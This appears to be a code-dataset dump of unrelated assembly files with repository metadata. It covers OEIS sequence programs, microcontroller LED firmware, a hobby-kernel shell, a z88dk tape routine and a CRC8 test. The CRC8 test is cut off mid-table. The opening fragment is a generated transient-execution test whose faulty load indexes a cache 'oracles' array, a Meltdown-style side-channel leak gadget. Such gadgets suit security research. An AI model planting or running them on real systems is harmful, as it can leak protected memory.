// Load lea addresses_US+0x1b3c4, %r12 nop nop and %r8, %r8 movups (%r12), %xmm5 vpextrq $1, %xmm5, %r10 nop nop nop and %r12, %r12 // Faulty Load mov $0x1373c70000000bc4, %rdx nop nop nop sub $28043, %r10 mov (%rdx), %rbp lea oracles, %r14 and $0xff, %rbp shlq $12, %rbp mov (%r14,%rbp,1), %rbp pop %rdx pop %rbx pop %rbp pop %r8 pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': True, 'type': 'addresses_WT', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 11, 'NT': False, 'type': 'addresses_WC', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_WC', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_A', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 32, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_P', 'size': 4, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 10, 'NT': False, 'type': 'addresses_US', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': True, 'type': 'addresses_UC_ht', 'size': 16, 'AVXalign': False}} {'src': {'same': False, 'congruent': 2, 'NT': False, 'type': 'addresses_D_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_WT_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}} {'src': {'type': 'addresses_UC_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}} {'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 4, 'NT': True, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False}} {'src': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_UC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'} {'58': 16909, '00': 4920} 58 58 00 58 58 58 58 00 58 58 00 58 58 58 00 58 00 00 58 58 58 58 58 58 00 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 00 58 00 00 58 58 58 58 00 58 00 00 58 58 58 58 00 58 58 58 00 00 58 58 58 58 58 58 58 58 58 58 58 00 58 00 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 00 58 00 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 00 00 58 58 58 58 58 00 58 58 00 58 58 58 58 58 00 58 00 58 00 58 58 58 00 58 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 58 58 58 58 58 00 58 00 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 00 58 00 00 58 00 58 00 58 58 58 58 58 58 58 58 00 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 00 00 58 58 58 58 58 58 58 00 00 58 58 58 58 00 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 00 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 00 00 00 58 58 00 58 58 58 00 58 58 58 58 58 00 58 00 58 00 00 58 58 58 58 58 00 58 58 58 58 58 58 00 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 00 58 00 58 58 58 00 00 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 00 58 00 58 00 00 58 58 58 58 58 58 00 00 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 00 58 00 58 58 00 58 00 58 00 00 58 58 58 58 00 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 00 00 00 58 58 58 58 00 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 58 00 58 58 58 58 00 58 58 58 00 58 58 00 58 00 58 58 58 00 58 58 58 58 58 58 00 58 58 58 58 58 58 00 58 58 58 58 58 58 58 00 58 00 58 58 58 00 58 58 58 00 58 58 00 58 58 58 58 58 00 58 58 58 58 58 58 00 00 58 00 58 58 00 58 58 58 58 00 00 58 00 58 58 58 58 58 58 58 00 58 58 58 00 58 00 58 58 58 58 00 58 58 58 00 58 00 00 00 58 58 58 00 58 00 00 58 58 58 00 00 00 58 58 58 58 58 58 58 58 58 58 00 58 00 58 00 00 00 00 00 58 00 00 58 00 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 00 58 58 58 58 58 00 58 00 58 58 58 58 58 00 58 58 00 58 00 00 58 00 58 58 58 00 58 58 58 58 58 58 58 58 00 58 00 58 00 58 58 00 58 58 58 00 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 58 58 00 58 58 00 58 58 58 58 58 58 00 58 58 00 58 58 00 00 58 58 58 58 00 58 00 58 00 58 00 58 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 00 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 00 00 58 00 58 00 58 58 58 58 58 00 58 00 58 58 00 00 58 00 58 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 00 58 00 58 00 00 58 58 00 00 58 58 58 00 58 58 58 00 58 00 58 00 58 58 58 58 00 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 58 58 00 58 00 58 58 58 00 58 00 58 58 58 58 58 58 58 00 58 58 58 58 58 58 58 58 58 00 58 58 58 00 58 58 58 00 58 58 58 00 58 58 00 58 58 58 58 58 58 58 58 58 58 00 58 00 58 58 58 58 58 00 58 */
28.776812
2,999
0.647865
806edfa0793c305954c505e88468959804287998
833
asm
Assembly
jm-rgbled-42-0.1/main.asm
QPC-database/jacdac-padauk
7ce071f42b39d26576428190a621ec98a78c889d
[ "MIT" ]
1
2021-07-06T15:50:58.000Z
2021-07-06T15:50:58.000Z
jm-rgbled-42-0.1/main.asm
QPC-database/jacdac-padauk
7ce071f42b39d26576428190a621ec98a78c889d
[ "MIT" ]
null
null
null
jm-rgbled-42-0.1/main.asm
QPC-database/jacdac-padauk
7ce071f42b39d26576428190a621ec98a78c889d
[ "MIT" ]
null
null
null
.CHIP PMS150C // Give package map to writer pcount VDD PA0 PA3 PA4 PA5 PA6 PA7 GND SHORTC_MSK1 SHORTC_MASK1 SHIFT //.writer package 6, 1, 0, 4, 27, 25, 26, 0, 28, 0x0007, 0x0007, 0 //{{PADAUK_CODE_OPTION .Code_Option Security Disable .Code_Option Bootup_Time Fast .Code_Option Drive Normal .Code_Option LVR 3.0V //}}PADAUK_CODE_OPTION #define RELEASE 1 // all pins on PA #define PIN_LED 5 #define PIN_JACDAC 6 //#define PIN_LOG 7 // Cost given in comment: words of flash/bytes of RAM // #define CFG_T16_32BIT 1 // 1/1 #define CFG_BROADCAST 1 // 20/0 #define CFG_RESET_IN 1 // 24/1 #define CFG_FW_ID 0x36b4f47c // 24/0 .include ../jd/jdheader.asm #define PIN_WS2812 4 .include ../services/ws2812.asm main: .ADJUST_IC SYSCLK=IHRC/2, IHRC=16MHz, VDD=3.3V PADIER = (1 << PIN_JACDAC) .include ../jd/jdmain.asm
23.8
99
0.716687
8809c51e2382a9e49bceaab967c0b30e27941bbd
298
asm
Assembly
programs/oeis/134/A134154.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/134/A134154.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/134/A134154.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A134154: a(n) = 15n^2 - 9n + 1. ; 1,7,43,109,205,331,487,673,889,1135,1411,1717,2053,2419,2815,3241,3697,4183,4699,5245,5821,6427,7063,7729,8425,9151,9907,10693,11509,12355,13231,14137,15073,16039,17035,18061,19117,20203,21319,22465,23641 mov $1,$0 bin $1,2 mul $1,5 add $0,$1 mul $0,6 add $0,1
29.8
206
0.704698
4c3eb4e1e464b2c182b8fef4f68806e4d9508e84
61
asm
Assembly
tests/test7.asm
JiahaoChenConor/COMP2017-Virtual_Machine
cce97bc86f421afd8f067cb2f83951a3afc42687
[ "MIT" ]
null
null
null
tests/test7.asm
JiahaoChenConor/COMP2017-Virtual_Machine
cce97bc86f421afd8f067cb2f83951a3afc42687
[ "MIT" ]
null
null
null
tests/test7.asm
JiahaoChenConor/COMP2017-Virtual_Machine
cce97bc86f421afd8f067cb2f83951a3afc42687
[ "MIT" ]
null
null
null
FUNC LABEL 0 MOV STK A VAL 1 REF REG 0 STK A RET
12.2
19
0.57377
07f456753cc1945d9947b95bfda5cee3163ec09f
858
asm
Assembly
programs/oeis/022/A022311.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/022/A022311.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/022/A022311.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A022311: a(n) = a(n-1) + a(n-2) + 1 for n>1, a(0)=0, a(1)=1. ; 0,6,7,14,22,37,60,98,159,258,418,677,1096,1774,2871,4646,7518,12165,19684,31850,51535,83386,134922,218309,353232,571542,924775,1496318,2421094,3917413,6338508,10255922,16594431,26850354,43444786,70295141,113739928,184035070,297774999,481810070,779585070,1261395141,2040980212,3302375354,5343355567,8645730922,13989086490,22634817413,36623903904,59258721318,95882625223,155141346542,251023971766,406165318309,657189290076,1063354608386,1720543898463,2783898506850,4504442405314,7288340912165,11792783317480,19081124229646,30873907547127,49955031776774,80828939323902,130783971100677,211612910424580,342396881525258,554009791949839,896406673475098,1450416465424938,2346823138900037,3797239604324976,6144062743225014 mov $3,6 lpb $0 sub $0,1 add $1,1 mov $2,$1 mov $1,$3 add $3,$2 lpe
71.5
715
0.820513
58f38d0bb38abd9b6f7cb3f072c5a6fa32be21ff
409
asm
Assembly
libsrc/ace/tape/tape_save_block.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/ace/tape/tape_save_block.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/ace/tape/tape_save_block.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; int tape_save_block(void *addr, size_t len, unsigned char type) ; CALLER linkage for function pointers PUBLIC tape_save_block PUBLIC _tape_save_block EXTERN tape_save_block_callee EXTERN ASMDISP_TAPE_SAVE_BLOCK_CALLEE .tape_save_block ._tape_save_block pop ix pop bc pop de pop hl push hl push de push bc push ix jp tape_save_block_callee + ASMDISP_TAPE_SAVE_BLOCK_CALLEE
17.782609
65
0.779951
4438669536de2d616250d820a5b5ad530b6de404
3,985
asm
Assembly
src/shell.asm
natiiix/Nebula
0b4b226bb9e217af57b200fae4850ad227432fc3
[ "MIT" ]
1
2020-11-11T16:06:26.000Z
2020-11-11T16:06:26.000Z
src/shell.asm
natiiix/Nebula
0b4b226bb9e217af57b200fae4850ad227432fc3
[ "MIT" ]
13
2020-05-24T00:45:01.000Z
2020-06-02T14:41:24.000Z
src/shell.asm
natiiix/nebula
0b4b226bb9e217af57b200fae4850ad227432fc3
[ "MIT" ]
null
null
null
SECTION .text ; key press scan codes. %define ENTER 0x1C %define BACKSPACE 0x0E ; @desc Main Shell label. Prints command prompt string and continues to the infinite key handling loop. shell_start: PRINT cmdprompt ; @desc Synchronously read scan codes from keyboard buffer and handle them in an infinite loop. key_loop: call key_get ; get scan code from key buffer cmp eax, 0 ; if scan code is 0 / null je key_loop ; do nothing %ifdef PRINT_SCANCODE push eax ; store scan code on stack call print8 ; print key scan code pop eax ; restore scan code from stack %endif cmp eax, ENTER ; enter key pressed je exec_cmd cmp eax, BACKSPACE ; backspace key pressed je key_loop_backspace cmp eax, 0x40 ; 0x40 and all higher scan codes have no printable character ; release scan codes have bit 7 enabled, ; which means they are also handled by this condition jae key_loop ; if key has no printable char, jump to end of key handler call get_keytab ; get scan-code-to-ASCII table base address add esi, eax ; add scan code to base table address as index / offset mov al, [esi] ; read ASCII value from table at index specified by scan code cmp al, 0 ; null character = non-printable key / scan code je key_loop ; skip printing of null characters mov edi, cmdbuff ; get command buffer base address movzx ebx, byte [cmdbuff_idx] ; get command buffer index add edi, ebx ; add index to buffer address mov [edi], al ; store character in command buffer sub edi, ebx ; subtract old command buffer index from EDI register inc ebx ; increment command buffer index and ebx, 0xFF ; make the EDI register seem 8-bit (to emulate 1-byte overflow) mov [cmdbuff_idx], bl ; update command buffer index add edi, ebx ; add new (incremented) command buffer index to EDI register mov byte [edi], 0 ; store null character at current end of command buffer call print_char ; print converted ASCII character %ifdef PRINT_SCANCODE call newline ; terminate line %endif call finish_print ; perform after-print procedures jmp key_loop key_loop_backspace: movzx ecx, byte [cmdbuff_idx] ; get command buffer index cmp ecx, 0 ; do nothing if command buffer is empty je key_loop mov edi, cmdbuff ; get command buffer base address dec ecx ; decrement command buffer index (move to previous character) mov [cmdbuff_idx], cl ; update command buffer index mov byte [edi + ecx], SPACE ; replace last character with space character call undo_char ; undo last character call finish_print ; perform after-print procedures jmp key_loop ; @desc This code is executed if enter key has been pressed. exec_cmd: call newline ; move to next line (no need to terminate, line is already cleared) ; Ignore empty command (pressing ENTER without typing any command). ; Using the TEST instruction here would only degrade readability. ; WARN: This assumes that the index remains 1 byte long! cmp byte [cmdbuff_idx], 0 je exec_cmd_finish ; Check for "help" command. mov esi, cmdbuff mov edi, cmdhelp call strcmp test eax, eax jnz cmd_help ; if command buffer is equal to help command string ; The entered command is invalid. PRINT invalidcmd ; otherwise print error message and echo entered command PRINTLN cmdbuff jmp exec_cmd_finish cmd_help: PRINTLN helpstr ; print help string ; jmp exec_cmd_finish exec_cmd_finish: mov byte [cmdbuff_idx], 0 ; set command buffer index to 0 mov byte [cmdbuff], 0 ; set first character in command buffer to NULL character jmp shell_start
33.771186
103
0.668256
df36bb899ed738741c4a1643225456d8072dba1e
276
asm
Assembly
oeis/040/A040182.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/040/A040182.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/040/A040182.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A040182: Continued fraction for sqrt(197). ; Submitted by Christian Krause ; 14,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28 min $0,1 add $0,1 mul $0,14
34.5
169
0.681159
828ff50a5ac6175b1608973ccb2c34e89c0a9393
1,327
asm
Assembly
tests/z80/invalid_LD.asm
cizo2000/sjasmplus
615d7c0e09a44aa2a923095fc9ed6dca6ecae4a4
[ "BSD-3-Clause" ]
220
2016-10-22T19:44:39.000Z
2022-03-29T20:57:04.000Z
tests/z80/invalid_LD.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
153
2018-05-07T10:31:23.000Z
2022-03-30T04:35:59.000Z
tests/z80/invalid_LD.asm
ped7g/sjasmplus
487635c8057cd5594c372d9b70bc00a3f3a1ecc4
[ "BSD-3-Clause" ]
51
2016-05-12T21:27:36.000Z
2022-03-27T15:16:16.000Z
DEFARRAY reg8 a, b, c, d, e, h, l, (hl), ixh, ixl, iyh, iyl DEFARRAY reg16 af, bc, de, hl, ix, iy, sp ; IXY 8 bit invalid combinations ld h,ixh ld l,ixh ld h,ixl ld l,ixl ld h,iyh ld l,iyh ld h,iyl ld l,iyl ld ixh,h ld ixh,l ld ixl,h ld ixl,l ld iyh,h ld iyh,l ld iyl,h ld iyl,l ; I and R register can be paired only against register A R1=1 ; skip A DUP 11 ld reg8[R1],r ld reg8[R1],i ld r,reg8[R1] ld i,reg8[R1] R1=R1+1 EDUP ; ld r16,SP , AF,r16, r16,AF doesn't exist R1=0 DUP 7 ld reg16[R1],sp ld af,reg16[R1] ld reg16[R1],af R1=R1+1 EDUP ; ld r8,r16 / ld r16,r8 ; includes four valid fakes: ld bc|de,(hl) and (hl),bc|de R1=0 DUP 12 R2=0 DUP 7 ld reg8[R1],reg16[R2] ld reg16[R2],reg8[R1] R2=R2+1 EDUP R1=R1+1 EDUP ; special cases for MEM_HL "register" R1=7 ; skip A, .., L (start with "(hl)") DUP 5 ld reg8[R1],(hl) ld (hl),reg8[R1] R1=R1+1 EDUP ; some cases manually picked ld sp,bc ld sp,de ld hl,sp ld sp,(hl) ld hl,(hl) ld sp,(ix+1) ld sp,(sp) ld hl,(sp)
18.178082
89
0.475509
d23f59ee846acaa07bb916795a45c2292c700c8b
749
asm
Assembly
programs/oeis/087/A087168.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/087/A087168.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/087/A087168.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A087168: Expansion of (1+2*x)/(1+3*x+4*x^2). ; 1,-1,-1,7,-17,23,-1,-89,271,-457,287,967,-4049,8279,-8641,-7193,56143,-139657,194399,-24569,-703889,2209943,-3814273,2603047,7447951,-32756041,68476319,-74404793,-50690897,449691863,-1146312001,1640168551,-335257649,-5554901257,18005734367,-31797598073,23369856751,57080822039,-264721893121,565842391207,-638639601137,-347450761417,3596910688799,-9400929020729,13815144306991,-3841716838057,-43735426713793,146573147493607,-264777735625649,208040616902519,434989091795039,-2137129742995193,4671432861805423,-5465779613435497,-2288392606915201 mul $0,2 sub $0,1 mov $1,2 mov $2,1 lpb $0,1 sub $0,1 add $2,$1 add $1,1 add $2,87 mul $2,2 sub $1,$2 lpe sub $1,2 div $1,179 mul $1,2 add $1,1
37.45
544
0.755674
961de5f3fe1117bbdff920093a68e8bdd40b2d58
632
asm
Assembly
oeis/164/A164703.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/164/A164703.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/164/A164703.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A164703: a(n) = 8*a(n-2) for n > 2; a(1) = 1, a(2) = 16. ; 1,16,8,128,64,1024,512,8192,4096,65536,32768,524288,262144,4194304,2097152,33554432,16777216,268435456,134217728,2147483648,1073741824,17179869184,8589934592,137438953472,68719476736,1099511627776,549755813888,8796093022208,4398046511104,70368744177664,35184372088832,562949953421312,281474976710656,4503599627370496,2251799813685248,36028797018963968,18014398509481984,288230376151711744,144115188075855872,2305843009213693952,1152921504606846976,18446744073709551616,9223372036854775808 mov $1,1 add $1,$0 mov $2,$1 gcd $1,2 lpb $2 mul $1,8 sub $2,2 lpe mov $0,$1
48.615385
490
0.811709
cd98f0583a47cce0bdb7474ee3dec5f989148698
1,294
asm
Assembly
maps/CeruleanMelaniesHouse.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
maps/CeruleanMelaniesHouse.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
maps/CeruleanMelaniesHouse.asm
zavytar/pokecolorless
5fa4930f9f90acaff7ae62367e3d9feae0404464
[ "blessing" ]
null
null
null
object_const_def ; object_event constants const CERULEANMELANIESHOUSE_MELANIE const CERULEANMELANIESHOUSE_BULBASAUR CeruleanMelaniesHouse_MapScripts: db 0 ; scene scripts db 0 ; callbacks CeruleanMelaniesHouse_MelanieScript: jumptextfaceplayer CeruleanMelaniesHouse_MelanieText1 CeruleanMelaniesHouse_BulbasaurScript: opentext writetext CeruleanBulbasaurText cry BULBASAUR waitbutton closetext end CeruleanMelaniesHouse_MelanieText1: text "I found this hurt" line "BULBASAUR outside" cont "the other day." para "I'm almost done" line "nursing it back" cont "to health." para "It will need a" line "strong and loving" cont "trainer to take" cont "good care of it!" done CeruleanBulbasaurText: text "BULBASAUR: Bul baa." done CeruleanMelaniesHouse_MapEvents: db 0, 0 ; filler db 2 ; warp events warp_event 2, 7, CERULEAN_CITY, 6 warp_event 3, 7, CERULEAN_CITY, 6 db 0 ; coord events db 0 ; bg events db 2 ; object events object_event 5, 1, SPRITE_LASS, SPRITEMOVEDATA_SPINRANDOM_SLOW, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, CeruleanMelaniesHouse_MelanieScript, -1 object_event 6, 1, SPRITE_BULBASAUR, SPRITEMOVEDATA_POKEMON, 0, 0, -1, -1, PAL_NPC_BLUE, OBJECTTYPE_SCRIPT, 0, CeruleanMelaniesHouse_BulbasaurScript, -1
23.962963
157
0.776662
cdb8dfce35a35daecf0bcb233d8424f993f81dff
2,953
asm
Assembly
kernel/utility/tointeger.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
13
2020-03-31T08:21:22.000Z
2021-07-28T20:03:29.000Z
kernel/utility/tointeger.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
37
2020-03-31T06:35:37.000Z
2020-09-17T08:56:48.000Z
kernel/utility/tointeger.asm
paulscottrobson/eris
cf102530334ed86360deb20f0e41af1e10f5d584
[ "MIT" ]
5
2020-05-10T10:23:06.000Z
2022-01-14T02:21:02.000Z
; ***************************************************************************** ; ***************************************************************************** ; ; Name: tointeger.asm ; Purpose: Convert string to integer ; Created: 8th March 2020 ; Reviewed: 16th March 2020 ; Author: Paul Robson (paul@robsons.org.uk) ; ; ***************************************************************************** ; ***************************************************************************** ; ***************************************************************************** ; ; Convert String to Integer. ; ; On entry R1 contains the base 2-16 and R0 the character fetch routine. ; ; Calling the character fetch retrieves the next character from the input ; stream ; it should return $00 if it runs out of data. ; ; The stream is converted into an integer which is returned in R0. R1 is ; non-zero if an error has occurred. In this case the first bad character ; has already been 'got', so it is possible to get it back, by (say) ; decrementing the character pointer and re-reading it. ; ; R10 and R11 are not used by the routine, and can be used to contain ; values for the character fetch which are maintained between calls ; (e.g. a data pointer) ; ; ***************************************************************************** .OSXStrToInt push r2,r3,r4,r5,r6,link mov r2,r0,#0 ; put the 'get' routine in R2 clr r3 ; r3 is the result clr r4 ; r4 is the signed flag. mov r6,#1 ; error flag, cleared on a successful conversion ; brl r13,r2,#0 ; call the get routine and r0,#$00FF ; mask character off. mov r5,r0,#0 ; put in R5. xor r5,#'-' ; is it - ? skz r5 jmp #_OSSILoop inc r4 ; if so, set the signed flag. brl r13,r2,#0 ; get the next character ; ; Convert loop, already has next character in R0. ; ._OSSILoop jsr #OSUpperCase ; make U/C which also clears bits 8-15 sub r0,#'0' ; base shift - we're checking 0-9 A... skge ; exit if < '0' jmp #_OSSIExit mov r5,r0,#0 ; put this base value in R5. sub r0,#10 ; 0-9 check skge jmp #_OSSHaveDigit sub r5,#7 ; check A-F - adjust the base value. sub r0,#7 skge ; this exits if in the bit between 9 and A. jmp #_OSSIExit ._OSSHaveDigit mov r0,r5,#0 ; check the digit < base sub r0,r1,#0 sklt jmp #_OSSIExit ; mult r3,r1,#0 ; x current by base and add add r3,r5,#0 clr r6 ; clear error flag as we have one valid digit brl r13,r2,#0 ; get next character and go around jmp #_OSSILoop ._OSSIExit clr r5 ; R5 = -result sub r5,r3,#0 skz r4 ; use this if signed flag set (result in r3) mov r3,r5,#0 ; mov r0,r3,#0 ; result in R0 mov r1,r6,#0 ; error flag in R1 pop r2,r3,r4,r5,r6,link ret
33.942529
79
0.514054
e7a46b51b85a95cc93c5da7773a86cea661195a4
2,464
asm
Assembly
test/functional/crc8.asm
pgrabas/emu6502
5b46d624cdbb3cffcfd76939d6cdda371f61ed6a
[ "MIT" ]
null
null
null
test/functional/crc8.asm
pgrabas/emu6502
5b46d624cdbb3cffcfd76939d6cdda371f61ed6a
[ "MIT" ]
null
null
null
test/functional/crc8.asm
pgrabas/emu6502
5b46d624cdbb3cffcfd76939d6cdda371f61ed6a
[ "MIT" ]
null
null
null
.isr reset TEST_ENTRY .org 0x80 result: .byte 0 temp: .byte 0 count: count_low: .byte 0x00 count_hi: .byte 0x40 .org 0x2000 TEST_ENTRY: CRC8_INIT: LDA #$00 CRC8_LOOP: LDX count_low BNE CRC8_NEXT LDX count_hi BEQ CRC8_FINISH DEC count_hi LDX #$FF STX count_low JMP CRC8_NEXT_BYTE CRC8_NEXT: DEC count_low CRC8_NEXT_BYTE: LDY RANDOM_MT19937_REGISTER_ENTROPY STY TTY_SER0_REGISTER_FIFO STY temp EOR temp TAY LDA CRC8_TABLE,Y JMP CRC8_LOOP CRC8_FINISH: NOP STA result LDX EXPECTED_RESULT CMP EXPECTED_RESULT BNE EXIT_FAIL EXIT_SUCCESS: JSR FLUSH HLT #$00 EXIT_FAIL: JSR FLUSH HLT #$01 FLUSH: LDA TTY_SER0_REGISTER_OUT_COUNT BNE FLUSH RTS EXPECTED_RESULT: .byte 0x7c .align page CRC8_TABLE: ; CRC-8/MAXIM .byte 0x00, 0x5e, 0xbc, 0xe2, 0x61, 0x3f, 0xdd, 0x83, 0xc2, 0x9c, 0x7e, 0x20, 0xa3, 0xfd, 0x1f, 0x41, .byte 0x9d, 0xc3, 0x21, 0x7f, 0xfc, 0xa2, 0x40, 0x1e, 0x5f, 0x01, 0xe3, 0xbd, 0x3e, 0x60, 0x82, 0xdc, .byte 0x23, 0x7d, 0x9f, 0xc1, 0x42, 0x1c, 0xfe, 0xa0, 0xe1, 0xbf, 0x5d, 0x03, 0x80, 0xde, 0x3c, 0x62, .byte 0xbe, 0xe0, 0x02, 0x5c, 0xdf, 